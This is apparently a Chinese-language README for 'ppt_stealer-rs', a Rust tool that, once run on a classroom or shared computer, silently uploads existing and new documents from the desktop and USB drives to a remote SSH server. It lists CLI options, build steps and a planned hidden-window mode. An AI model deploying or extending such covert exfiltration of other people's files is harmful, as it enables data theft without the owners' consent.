ppt_stealer-rs

针对国内授课场景，将本地桌面或 U 盘内已有的、以及在程序运行后新增的 PPT, DOC, PDF 等文件自动上传到远程 SSH 服务器。

项目介绍

课讲得烂固然糟糕，不公开课件更是雪上加霜。这个程序奈何不了某些渣滓，但可以帮你拿到有用的学习资料。

在课前提前运行这个程序，它可以将已有的、新增的文档自动上传到你指定的远程电脑/服务器。整个过程，除了程序启动，无需手动操作。你可以手动指定额外的扫描目录，也可以快捷指定所有 U 盘；你也可以指定额外的文件格式；甚至你可以通过正则表达式匹配所有文件名符合你的要求的文件并上传！

项目优势

• 使用原生 Rust 编写，性能强劲，内存安全
• cargo 一键编译，方便快捷
• 支持 Windows, macOS, Linux 等多个操作系统

已知问题

• 若长时间不上传新文件，可能导致连接中断（取决于各linux发行版的策略），因而在上传新文件时在 .unwrap() 处 panic。预计在 v0.3 项目代码重构后解决这一问题。目前在需要时提前重启程序，防止程序崩溃。

参数

1. 可以使用主程序指定 no-gui 运行

Usage: stealer [OPTIONS] [COMMAND]

Commands:
  gui     Start the slint GUI application
  no-gui  Start the command-line interface
  help    Print this message or the help of the given subcommand(s)

Options:
  -L, --debug-level <DEBUG_LEVEL>
          Debug level. [default: info] [possible values: trace, debug, info, warn, error]
  -h, --help
          Print help
  -V, --version
          Print version


Usage: stealer no-gui [OPTIONS]

Options:
  -i, --ip <IP>
          Server IP address or domain
  -p, --port <PORT>
          Service IP port
  -u, --username <USERNAME>
          Service username
  -P, --password <PASSWORD>
          Service password
      --key-auth
          Use SSH key authentication. If not assigned, password authentication will be used.
      --upload-targets <UPLOAD_TARGETS>
          Upload files to a ssh server. Note that you can only choose one kind of remote target! Only SshServer is implemented now. If multiple targets are designated, they should be quoted and separated by single space. [default: local] [possible values: local, ssh-server, smb-server, ftp-server]
      --target-folder-name <TARGET_FOLDER_NAME>
          Folder where target files will be stored. If not resigned, it will be stored at $HOME/%Y-%m-%d/{user_name}--{computer_name}
      --usb
          Scan USB for files.
      --refresh-interval <REFRESH_INTERVAL>
          Refresh interval in seconds [default: 30]
      --desktop-path <DESKTOP_PATH>
          Custimised desktop path
  -m, --min-depth <MIN_DEPTH>
          Minimum depth of file (included)
  -M, --max-depth <MAX_DEPTH>
          Maximum depth of file (included)
  -a, --add-paths <ADD_PATHS>
          Additional paths to scan
  -r, --regex <REGEX>
          Regex pattern to match files
      --formats <FORMATS>
          Assign file formats [default: "ppt pptx odp doc docx odt xls xlsx ods csv txt md"]
  -h, --help
          Print help

2. 若只需要命令行执行该程序，可以运行 cli 版本。此版本不包含 gtk4 依赖。

关于 SSH 服务器……

SSH 是一种网络协议，用于计算机之间的加密登录。最早的时候，互联网通信都是明文通信，一旦被截获，内容就暴露无疑。1995 年，芬兰学者 Tatu Ylonen 设计了 SSH 协议，将登录信息全部加密，成为互联网安全的一个基本解决方案，迅速在全世界获得推广，目前已经成为 Linux 系统的标准配置。

简单来说，SSH 就是用于和其他电脑通过网络进行连接的工具。

除了系统和相关工具，SSH 还需要远程（被连接的）服务器具有公网 IP。鉴于国内网络现状，民用 IPv4 已经告罄，尽管公网 IPv6 在家庭宽带中已经很常见了，但很多学校（的部分教室）并不支持 IPv6，获得公网 IP 的最稳妥的方式是租各大云服务厂商（阿里，腾讯，华为）的云服务器。具体配置需求可以咨询工作人员。

编译

注：各个分支（包括 main）的版本并不稳定，请使用发行版或标签的源代码进行编译。

1. 安装 rustc 和 cargo 前往 rust-lang.org/install 下载、安装 Rust 工具链。
2. cd <项目根目录>
3. cargo build --release （如果电脑没有 gtk4，则运行 cargo build --release -p stealer-cli）
4. 二进制文件位于 target/release/ 中

依赖

Rustc edition 2021 should be able to compile the code, but you should modify the Cargo.toml file.
Default Rustc edition is 2024.

[dependencies]
dirs = "=5.0.1"
clap = { version = "=4.5.23", features = ["derive"] }
log = "=0.4.22"
env_logger = "=0.9"
walkdir = "=2.5.0"
sha2 = "=0.10.8"
ssh2 = "=0.9.4"
ctrlc = "=3.4.5"
chrono = "=0.4.39"
sysinfo = "=0.33.0"
regex = "=1.11.1"

计划

• 去除缓冲文件 (will be supported in v0.2 final release)
• 识别 U 盘，并上传其中所有的文档文件 (will be supported in v0.2 final release)
• 解决上传时 U 盘弹出导致路径不存在、程序 panic 的问题 (will be supported in v0.2 final release)
• 添加将文件复制到本地特定目录的功能 (will be supported in v0.3.2)
• 添加额外的本地目录 (will be supported in v0.3)
• 添加基于 GTK4 客户端
• 添加隐藏命令行窗口的模式
• 添加对 FTP、SMB 服务器的支持
• 在云端保留原文件相对桌面的相对路径 (will be supported in v0.2 final release)
• 检测到远程同名文件内容相同后，取消重复上传
• 指定路径，代替默认的桌面路径 (will be supported in v0.3)
• 指定在目录搜索文件的最小、最大目录深度 (will be supported in v0.3)
• 指定额外的文件格式 (will be supported in v0.3)
• 通过正则表达式指定文件 (will be supported in v0.4)